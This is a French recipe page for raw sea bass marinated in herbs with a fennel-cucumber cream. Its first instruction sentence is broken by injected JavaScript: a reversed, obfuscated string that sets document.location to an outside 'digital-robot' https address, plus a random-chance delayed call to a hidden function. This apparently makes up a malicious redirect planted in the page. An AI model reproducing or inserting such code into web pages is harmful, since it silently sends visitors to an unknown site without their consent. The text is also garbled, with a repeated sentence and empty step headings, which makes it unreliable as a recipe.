Émince de bar cru à la crème de fenouil
2017-02-16- Cuisine : Poissons
- Thématique : Végétarien
Dans un récipient mélangez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toutes les herbes, le poivre, les baies de roses, recouvrez le poisson de ce mélange, filmez et laissez mariner pendant 24 heures.
Ingrédients
Rincez, séchez le bar. Avec un pinceau le badigeonner d'huile d'olive et recouvrir de gros sel, pendant 30 minutes.
A ce moment ôtez le gros sel, passez sous le robinet d'eau froide et séchez avec un linge propre. Dans un récipient mélangez toutes les herbes, le poivre, les baies de roses, recouvrez le poisson de ce mélange, filmez et laissez mariner pendant 24 heures. Le lendemain coupez le poisson en tranches de 5 millimètres Préparez la crème fenouil. Pelez et coupez le concombre en petits dés ainsi que les échalotes, le citron confit. Dans une eau bouillante salée, faites blanchir le fenouil et le céleri pendant 1 minute. Laissez refroidir Mélangez le tout et incorporez le yaourt, le fromage blanc, le sucre, la menthe, la ciboulette, l'aneth. Nappez l'émincé de bar froid et accompagnez de chou de romanesco à la vapeur. DégustezPréparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
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